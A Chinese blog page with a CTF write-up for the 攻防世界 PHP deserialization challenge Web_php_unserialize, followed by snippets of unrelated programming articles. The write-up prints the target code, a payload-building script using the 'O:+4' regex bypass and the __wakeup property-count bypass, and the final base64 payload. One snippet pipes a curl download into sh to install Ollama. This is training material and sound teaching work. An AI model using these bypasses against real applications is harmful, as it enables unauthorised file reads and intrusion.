当前位置：首页 > news >正文

90，【6】攻防世界 WEB Web_php_unserialize

news 来源：原创 2025/5/9 21:27:39

进入靶场

<?php 
// 定义一个名为 Demo 的类
class Demo { // 定义一个私有属性 $file，默认值为 'index.php'private $file = 'index.php';// 构造函数，当创建类的实例时会自动调用// 接收一个参数 $file，用于初始化对象的 $file 属性public function __construct($file) { $this->file = $file; }// 析构函数，当对象被销毁时自动调用// 使用 highlight_file 函数以高亮语法显示 $this->file 指定的文件内容// @ 符号用于抑制可能出现的错误信息// true 参数表示将高亮显示的内容作为字符串返回，而不是直接输出function __destruct() { echo @highlight_file($this->file, true); }// __wakeup 魔术方法，当对象被反序列化时自动调用// 该方法用于检查反序列化后的 $this->file 属性值// 如果 $this->file 不等于 'index.php'，则将其重置为 'index.php'// 注释中提示秘密在 fl4g.php 文件中function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
// 检查是否通过 GET 请求传递了名为 'var' 的参数
if (isset($_GET['var'])) { // 如果存在 'var' 参数，对其进行 Base64 解码$var = base64_decode($_GET['var']); // 使用正则表达式检查解码后的字符串中是否包含特定格式的字符串// /[oc]:\d+:/i 用于匹配以 'o' 或 'c' 开头，后面跟着一个冒号，再跟着一个或多个数字，最后再跟着一个冒号的字符串// i 修饰符表示不区分大小写if (preg_match('/[oc]:\d+:/i', $var)) { // 如果匹配到，则输出 'stop hacking!' 并终止脚本执行die('stop hacking!'); } else {// 如果没有匹配到，则尝试对解码后的字符串进行反序列化// @ 符号用于抑制可能出现的错误信息@unserialize($var); } 
} else { // 如果没有传递 'var' 参数，则以高亮语法显示当前文件（index.php）的内容highlight_file("index.php"); 
} 
?>

我们要绕过unserialize函数、preg—match函数、wakeup函数、解码函数

考点分析

PHP 反序列化：理解 PHP 对象的序列化和反序列化机制，以及如何利用反序列化过程中调用的魔术方法（如 __destruct、__wakeup）来执行特定操作。
正则过滤绕过：代码中使用正则表达式 /[oc]:\d+:/i 对输入进行过滤，需要思考如何绕过这个过滤机制。
文件包含：通过控制 $file 属性的值，利用 highlight_file 函数读取目标文件内容。

解题思路

构造序列化对象：创建一个 Demo 类的对象，并将 $file 属性设置为目标文件（如 fl4g.php），然后对该对象进行序列化。
绕过 __wakeup 方法：__wakeup 方法会在反序列化时将 $file 属性重置为 index.php，需要找到绕过该方法的方法。
绕过正则过滤：输入的序列化字符串不能包含正则表达式 /[oc]:\d+:/i 匹配的内容。
Base64 编码：将处理后的序列化字符串进行 Base64 编码，作为 var 参数传递给脚本。

php在线运行,在线工具，在线编译IDE_w3cschool

<?php
// 定义一个名为 Demo 的类
class Demo { // 定义一个私有属性 $file，初始值为 'fl4g.php'，此文件可能包含我们要找的 flag 信息private $file = 'fl4g.php';
}// 创建一个 Demo 类的实例，并对该实例进行序列化操作
// 序列化是将对象转换为一个字符串，以便于存储或传输
$a = serialize(new Demo);// 原代码中的正则表达式 /[oc]:\d+:/i 会匹配以 'o' 或 'c' 开头，后跟冒号、一个或多个数字，再跟冒号的字符串
// 这里将序列化字符串中的 'O:4' 替换为 'O:+4'，是为了绕过 preg_match() 函数的正则匹配
// 因为替换后的字符串不再符合正则表达式的匹配规则，从而避免被检测为恶意输入
$a = str_replace('O:4', 'O:+4',$a);// 在 PHP 反序列化时，如果对象的属性个数与序列化字符串中声明的属性个数不一致
// 且序列化字符串中声明的属性个数大于实际属性个数时，__wakeup() 魔术方法将不会被调用
// Demo 类实际只有一个属性，这里将序列化字符串中的 ':1:'（表示有 1 个属性）替换为 ':2:'
// 以此绕过 __wakeup() 方法，防止其将 $file 属性重置为 'index.php'
$a = str_replace(':1:', ':2:',$a);// 最后对处理后的序列化字符串进行 Base64 编码
// 因为原题目代码会对传入的 'var' 参数进行 Base64 解码操作
// 这样编码后得到的字符串可以作为 'var' 参数的值传递给原题目代码进行反序列化操作
echo base64_encode($a);
?>

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

笔记

需要对序列化十分熟悉

90，【6】攻防世界 WEB Web_php_unserialize

进入靶场进入靶场 <?php // 定义一个名为 Demo 的类 class Demo { // 定义一个私有属性 $file，默认值为 index.phpprivate $file index.php;// 构造函数，当创建类的实例时会自动调用// 接收一个参数 $file，用于初始化对象的 $file 属…...

编程日记 2025/5/9 21:27:39

Redis --- 使用GEO实现经纬度距离计算

什么是GEO？ Spring Boot 项目中可以通过 Spring Data Redis 来使用 Redis GEO 功能，主要通过 RedisTemplate 和 GeoOperations 接口来操作地理位置数据。 Service public class GeoService {Autowiredprivate RedisTemplate<String, Object> red…...

编程日记 2025/5/6 11:28:49

同步 CDC

同步 CDC 当设计包括来自同一 MMCM/PLL 的时钟之间的同步 CDC 路径时，您可以使用以下技术来更好地控制时钟插入延迟和时滞，并因此控制这些路径上的松弛。重要提示： 如果 CDC 路径在源自不同 MMCM/PLL 的时钟之间，则跨越 …...

编程日记 2025/5/9 14:30:51

Linux环境下载Ollama慢或卡顿解决方案

一、下载方式官方下载方式是到ollama官网下载ollama: https://ollama.com/ 复制下载链接执行： curl -fsSL https://ollama.com/install.sh | sh二、卡顿现象执行后经常会出现下载失败或者进度条特别慢的情况，甚至直接退出下载： 三、…...

编程日记 2025/5/4 15:47:34

生成式AI安全最佳实践 - 抵御OWASP Top 10攻击 (下)

今天小李哥将开启全新的技术分享系列，为大家介绍生成式AI的安全解决方案设计方法和最佳实践。近年来生成式 AI 安全市场正迅速发展。据IDC预测，到2025年全球 AI 安全解决方案市场规模将突破200亿美元，年复合增长率超过30%，而Gartn…...

编程日记 2025/5/9 21:16:01

2025年家用音响市场分析：潜力无限，音质为王的新纪元

引言：音质革命引领市场新风尚在数字化浪潮的推动下，家用音响市场正经历一场前所未有的变革，其增长潜力犹如破晓之光，照亮了音频技术的未来之路。随着消费者对高品质生活追求的不断提升，以及对智能家居生态融合的日益…...

编程日记 2025/5/1 7:30:30

neo4j-在Linux中安装neo4j

目录切换jdk 安装neo4j 配置neo4j以便其他电脑可以访问切换jdk 因为我安装的jdk是1.8版本的，而我安装的neo4j版本为5.15,Neo4j Community 5.15.0 不支持 Java 1.8，它要求 Java 17 或更高版本。所以我需要升级Java到17 安装 OpenJDK 17 sudo yu…...

编程日记 2025/5/9 12:53:54

AI 场景下，函数计算 GPU 实例模型存储最佳实践

作者：有松当前，函数计算 FC 已被广泛应用在各种 AI 场景下，函数计算支持通过使用容器镜像部署 AI 推理应用，并且提供多种选项来访问训练好的模型。为了帮助开发者高效地在函数计算上部署 AI 推理应用，并快速解决不同…...

编程日记 2025/5/8 5:32:38

股指入门：股指期货是什么意思？在哪里可以做股指期货交易？

股指期货是一种以股票指数为标的物的期货合约，也可以称为股票指数期货或期指。股指期货是什么意思？ 股指期货是一种金融衍生品，其标的资产是股票市场上的股指，例如标普500指数、道琼斯工业平均指数、上证50指数等。股指期货允…...

编程日记 2025/5/9 5:56:30

【分布式理论六】分布式调用（4）：服务间的远程调用（RPC）

文章目录一、RPC 调用过程二、RPC 动态代理：屏蔽远程通讯细节1. 动态代理示例2. 如何将动态代理应用于 RPC 三、RPC 序列化四、RPC 协议编码1. 协议编码的作用2. RPC 协议消息组成五、RPC 网络传输1. 网络传输流程2. 关键优化点一、RPC 调用过程 RPC&#xff08…...

编程日记 2025/5/9 4:06:46

aliyun 的 ip 设置方法

aliyun 的 ip 设置方法阿里云：网络编程 bind：cannot assign requested address errno:99 问题。公网IP,，弹性公网IP，主私网IP 1. 公网IP, --> NAT --> 主私网IP ，设置方法： 服务器端 ip 为&…...

编程日记 2025/5/4 3:21:08

ASP.NET Core分布式缓存

目录分布式缓存概述 IDistributedCache接口中定义的主要方法及主要的扩展方法用什么做缓存服务器使用封装分布式缓存操作分布式缓存概述分布式系统中，内存缓存不满足要求的话，把缓存数据保存到专门的缓存服务器，所有Web应用通…...

编程日记 2025/5/7 23:15:53

目录一、Programmable 1.1 寄存器(Registers) 1.2 本地内存(Local Memory) 1.3 共享内存(shared Memory) 1.4 常量内存(Constant Memory) 1.5 全局内存(Global Memory) 1.6 纹理内存(Textrue Memory) 1.7 总结二、Cache(Non-programmable) 三、固定内存四、零拷贝…...

编程日记 2025/5/5 9:22:41

使用Pygame制作“吃豆人”游戏

本篇博客展示如何使用 Python Pygame 编写一个简易版的“吃豆人（Pac-Man）” 风格游戏。这里我们暂且命名为 Py-Man。玩家需要控制主角在一个网格地图里移动、吃掉散布在各处的豆子，并躲避在地图中巡逻的幽灵。此示例可帮助你理解网格地图、角…...

编程日记 2025/5/9 9:50:58

Pyecharts系列课程04——折线图/面积图（Line）

本章我们学习在Pyecharts中折线图（Line）的使用。折线图通用应用于数据的趋势分析。折线图我们现在有两组数据，x_data是2024年的月份，y_data为对应张三甲每个月的用电量。 # 家庭每月用电量趋势 x_data ["1月", &q…...

编程日记 2025/5/5 14:32:20

mysql 学习10 多表查询 -多表关系，多表查询

多表关系一对多多对多创建学生表 #多对多表学生选课系统create table student(id int primary key auto_increment comment 主键ID,name varchar(64) comment 姓名,studentnumber varchar(10) comment 学号 )comment 学生表;insert into student(id,name,studentnumber)va…...

编程日记 2025/5/9 7:51:25

lambda 表达式详解

lambda 表达式详解 lambda 表达式详解基本语法示例代码及详细解释1. 简单的lambda表达式2. 带参数的lambda表达式3. 捕获外部变量4. 使用mutable关键字修改捕获的变量5. 按引用捕获外部变量6. 自动推导返回类型捕获列表的几种形式总结 Lambda表达式的常用的应用场景&#xff1…...

编程日记 2025/5/6 4:47:29

从0开始达芬奇（3.5）

媒体优化顾名思义就是降低分辨率等来使素材的回放更加流畅。（在低配电脑上也可以流畅运行） ⭐方法一：（一般使用第二种） 播放→代理模式→二分之一或者四分之一 ⭐⭐⭐方法二：优化媒体文件（简…...

编程日记 2025/5/9 16:01:00

【Uniapp-Vue3】z-paging插件组件实现触底和下拉加载数据

一、下载z-paing插件注意下载下载量最多的这个进入Hbuilder以后点击“确定” 插件的官方文档地址： https://z-paging.zxlee.cn 二、z-paging插件的使用在文档中向下滑动，会有使用方法。使用z-paging标签将所有的内容包起来配置标签中的属性在s…...

编程日记 2025/5/1 8:31:14

Ubuntu20.04 本地部署 DeepSeek-R1

一、下载ollama 打开 ollama链接，直接终端运行提供的命令即可。如获取的命令如下： curl -fsSL https://ollama.com/install.sh | sh确保是否安装成功可在终端输入如下命令： ollama -v注意： 如遇到Failed to connect to github.…...

编程日记 2025/5/8 8:32:49

Linux 设备驱动分类（快速理解驱动架构）

Linux 设备驱动分类（快速理解驱动架构） 在 Linux 设备驱动开发中，最基础的概念就是设备驱动的分类。 Linux 设备驱动主要分为字符设备、块设备和网络设备，它们分别对应不同类型的硬件资源。理解这些分类，不仅能帮助…...

编程日记 2025/5/6 17:29:03

Java语法糖详解

前言在现代编程语言的发展历程中，语法糖（Syntactic Sugar）作为一种提升代码可读性和开发效率的重要特性，已经成为语言设计的重要组成部分。Java作为一门成熟且广泛应用的编程语言，在其长期演进过程中，语法…...

编程日记 2025/5/5 23:43:12

567.字符串的排列

目录一、题目二、思路2.1 解题思路2.2 代码尝试2.3 疑难问题三、解法四、收获4.1 心得4.2 举一反三一、题目二、思路 2.1 解题思路用两个哈希表比较来判断。s1的哈希表是否与s2相同。在窗口滑动过程中，用哈希表来维护。 2.2 代码尝试 class Solution { pub…...

编程日记 2025/5/4 4:23:08

DB2和mysql关于表和索引是否需要reorg的研究

DB2： DB2有个reorgchk的命令，是从SYSSTAT.TABLES和syscat.indexes这两个系统表中查表和索引的信息，并给出是否需要reorg表和索引的建议。 [db2inst1t3-ucm-ucm-rdb ~]$ db2 reorgchk CURRENT STATISTICS on table DB2ADMIN.ACAGENTTREE Ta…...

编程日记 2025/5/7 4:13:54

【Linux系统编程】：自旋锁，读写锁

文章目录前言1. POSIX自旋锁1.1.定义自旋锁1.2.初始化1.3. 加锁1.4. 尝试加锁操作1.5. 解锁操作1.6. 销毁操作1.7.示例1.8.优缺点优点缺点 1.9.适用场景 2. 读写锁2.1 读写锁的工作原理2.2 读写模型2.3 常用接口2.3.1 定义锁并初始化2.3.2 申请读锁2.3.3 申请写锁2.3.4 解锁2.…...

编程日记 2025/5/4 15:44:24

位运算及常用技巧

涉及位运算的运算符如下表所示： 位运算的运算律： 负数的位运算首先，我们要知道，在计算机中，运算是使用的二进制补码，而正数的补码是它本身，负数的补码则是符号位不变，其余按位取反…...

编程日记 2025/5/3 7:57:31

Chrome 浏览器：互联网时代的浏览利器

Chrome 浏览器：互联网时代的浏览利器引言在互联网时代，浏览器已经成为我们日常生活中不可或缺的工具。作为全球最受欢迎的浏览器之一，Chrome 浏览器凭借其出色的性能、丰富的扩展程序和简洁的界面，赢得了广大用户的喜爱。本文…...

编程日记 2025/5/6 21:39:28

web-文件上传-CTFHub

前言在众多的CTF平台当中，作者认为CTFHub对于初学者来说，是入门平台的不二之选。CTFHub通过自己独特的技能树模块，可以帮助初学者来快速入门。具体请看官方介绍：CTFHub。作者更新了CTFHub系列，希望小伙伴们多多支持…...

编程日记 2025/5/9 9:16:54

【react】react面试题

react面试题对 React 的理解、特性 react18有哪些更新 JSX是什么解释为什么浏览器不能读取jsx ReactNative中，如何解决8081端口被占用而提示无法访问的问题？ React 生命周期 react事件机制 react 组件传值 React改变state的方式 re…...

编程日记 2025/4/30 20:42:38

逐笔成交逐笔委托Level2高频数据下载和分析：20250206

Level2逐笔成交逐笔委托数据分享下载通过Level2逐笔成交和逐笔委托这种每一笔的毫秒级别的数据可以分析出很多有用的点，包括主力意图，虚假动作，让任何操作无所遁形。适合交易大师来分析主力规律，也适合人工智能领域的机器学习&a…...

编程日记 2025/5/5 18:00:14

__cvta_generic_to_shared

一测试代码 #include <cuda_runtime.h> #include <cstdio> #include <cstdint>__global__ void test_cp_async(int* __restrict__ A,int* __restrict__ B){int tid = threadIdx.x;A[tid] = tid;__shared__ int smem[32];size_t smemAddr = __cvta_generic_…...

编程日记 2025/5/6 1:24:58

C++学习——缺省参数、重载函数、引用

目录前言一、缺省参数 1.1概念 1.2写法 1.3半缺省 1.4使用二、重载函数 2.1.概念 2.2类型 2.3参数 2.4顺序 2.5问题 2.6原理三、引用 1、引用是什么？ 2、引用的使用方法 3、引用特性 1、引用在定义的时候必须要初始化 2、一个变量会有多个引用…...

编程日记 2025/5/6 9:00:49

docker-compose 配置nginx

前言前端打包的dist文件在宿主机，nginx运行在docker-compose 问题 nginx.conf 在本地配置可以生效，但是链接到容器就报错基于本地的nginx运行，本地nginx.conf 如下 server {listen 8081;location / {root /usr/local/software/testweb/…...

编程日记 2025/5/8 0:16:04

LQB（0）-python-基础知识

一、Python开发环境与基础知识 python解释器：用于解释python代码方式： 1.直接安装python解释器 2.安装Anaconda管理python环境 python开发环境：用于编写python代码 1.vscode 2.pycharm # 3.安装Anaconda后可以使用网页版的jupyter n…...

编程日记 2025/5/6 15:19:22

【C语言】指针运算与数组关系：详细分析与实例讲解

博客主页： [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C语言文章目录 💯前言💯1. 指针的基础运算1.1 指针的加减运算1.2 指针加整数与指针减整数1.3 指针与指针的运算 💯2. 指针的实际应用：模拟 strlen 函数2.1 使用指针模拟…...

编程日记 2025/5/6 10:03:38

C++数组

指针，是C数组工作方式的基础。数组，基本上是元素的集合。按特定的顺序排列的一堆东西。 C数组，就是表示一堆的变量组成的集合。一般是一行相同类型的变量。例子： #include <iostream> int main() {int example[5];exa…...

编程日记 2025/5/6 15:09:44

OSPF基础（2）

一、LSA的头部 LSA是OSPF的一个核心内容，如果没有LSA，OSPF是无法描述网络的拓扑结构及网段信息的,也无法传递路由信息，更加无法正常工作，在OSPFV2中，需要我们掌握的主要有6种。 LSA头部一共20byte，每个字段…...

编程日记 2025/5/6 23:27:38

DeepSeek R1 简单指南：架构、训练、本地部署和硬件要求

DeepSeek 的 LLM 推理新方法 DeepSeek 推出了一种创新方法，通过强化学习 (RL) 来提高大型语言模型 (LLM) 的推理能力，其最新论文 DeepSeek-R1 对此进行了详细介绍。这项研究代表了我们如何通过纯强化学习来增强 LLM 解决复杂问题的能力，而无…...

编程日记 2025/5/5 21:26:40

javaEE-6.网络原理-http

目录什么是http? http的工作原理： 抓包工具 fiddler的使用 HTTP请求数据: 1.首行:编辑 2.请求头(header) 3.空行： 4.正文（body） HTTP响应数据 1.首行：编辑 2.响应头 3.空行： 4.响应正文…...

编程日记 2025/5/3 10:48:55

把bootstrap5.3.3整合到wordpress主题中的方法

以下是将 Bootstrap 5.3.3 整合到 WordPress 主题中的方法： 下载 Bootstrap 文件：从 Bootstrap 官网下载最新的 5.3.3 版本的 CSS 和 JavaScript 文件。上传文件到主题目录：将下载的 CSS 文件上传到 WordPress 主题文件夹中的 /css 文件夹…...

编程日记 2025/5/8 21:06:02

深度整理总结MySQL——Buffer Pool工作原理

Buffer Pool工作原理前言为什么会有Buffer PoolBuffer Pool介绍Buffer Pool有多大Buffer Pool缓存什么呢Buffer Pool碎片空间查询一条记录，就只需要缓冲一条记录吗如何管理Buffer Pool如何管理空闲页如何管理脏页如何提高缓存命中率 LRU带来的问题预读失效Buffer …...

编程日记 2025/5/9 3:51:02

langchain教程-9.Retriever/检索器

前言该系列教程的代码: https://github.com/shar-pen/Langchain-MiniTutorial 我主要参考 langchain 官方教程, 有选择性的记录了一下学习内容这是教程清单 1.初试langchain2.prompt3.OutputParser/输出解析4.model/vllm模型部署和langchain调用5.DocumentLoader/多种文档…...

编程日记 2025/5/8 10:39:53

凝思60重置密码

凝思系统重置密码 - 赛博狗尾草 - 博客园问题描述凝思系统进入单用户模式，在此模式下，用户可以访问修复错误配置的文件。也可以在此模式下安装显卡驱动，解决和已加载驱动的冲突问题。适用范围 linx-6.0.60 linx-6.0.80 linx-6.0.100…...

编程日记 2025/5/8 17:52:23

指针基础知识1

1.内存和地址 1.案例我们可以借助一个生活在的案例来熟悉电脑中内存和地址的关系： 假设有⼀栋宿舍楼，把你放在楼里，楼上有100个房间，但是房间没有编号，你的⼀个朋友来找你玩， 如果想找到你，…...

编程日记 2025/5/8 6:32:50

大数据学习之Spark分布式计算框架RDD、内核进阶

一.RDD 28.RDD_为什么需要RDD 29.RDD_定义 30.RDD_五大特性总述 31.RDD_五大特性1 32.RDD_五大特性2 33.RDD_五大特性3 34.RDD_五大特性4 35.RDD_五大特性5 36.RDD_五大特性总结 37.RDD_创建概述 38.RDD_并行化创建演示代码： // 获取当前 RDD 的分区数 Since ( …...

编程日记 2025/5/9 18:06:07

Windows本地部署DeepSeek-R1大模型并使用web界面远程交互

文章目录前言1. 安装Ollama2. 安装DeepSeek-r1模型3. 安装图形化界面3.1 Windows系统安装Docker3.2 Docker部署Open WebUI3.3 添加Deepseek模型 4. 安装内网穿透工具5. 配置固定公网地址前言最近爆火的国产AI大模型Deepseek详细大家都不陌生，不过除了在手机上安…...

编程日记 2025/5/9 9:10:12

【Linux系统】线程：线程控制

一、POSIX线程库与线程有关的函数构成了一个完整的系列，绝大多数函数的名字都是以“pthread_”打头的。使用这些函数库，要通过引入头文件 <pthread.h>。链接这些线程函数库时要使用编译器命令的 -lpthread 选项。二、轻量级进程创建&#xff1a…...

编程日记 2025/5/9 15:14:05

GoFrame 微服务开发指南

基本介绍 GoFrame 框架支持微服务模式开发，提供了常用的微服务组件、开发工具、开发教程帮助团队快速微服务转型。微服务组件简介 GoFrame 微服务组件具有低耦合及通用化设计，组件化使用支持大部分的微服务通信协议。在官方文档中，主要以…...

编程日记 2025/5/6 2:59:15

Python-基于PyQt5,Pillow,pathilb,imageio,moviepy,sys的GIF(动图)制作工具(进阶版)

前言：在抖音，快手等社交平台上，我们常常见到各种各样的GIF动画。在各大评论区里面，GIF图片以其短小精悍、生动有趣的特点，被广泛用于分享各种有趣的场景、搞笑的瞬间、精彩的动作等，能够快速吸引我们的注意…...

编程日记 2025/5/7 8:50:50

PhpStorm下载、安装、配置教程

前面的文章中，都是把.php文件放在WampServer的www目录下，通过浏览器访问运行。这篇文章就简单介绍一下PhpStorm这个php集成开发工具的使用。目录下载PhpStorm 安装PhpStorm 配置PhpStorm 修改个性化设置修改字符编码配置php的安装路径使用Ph…...

编程日记 2025/5/5 13:56:57

考点分析

解题思路

笔记

相关文章：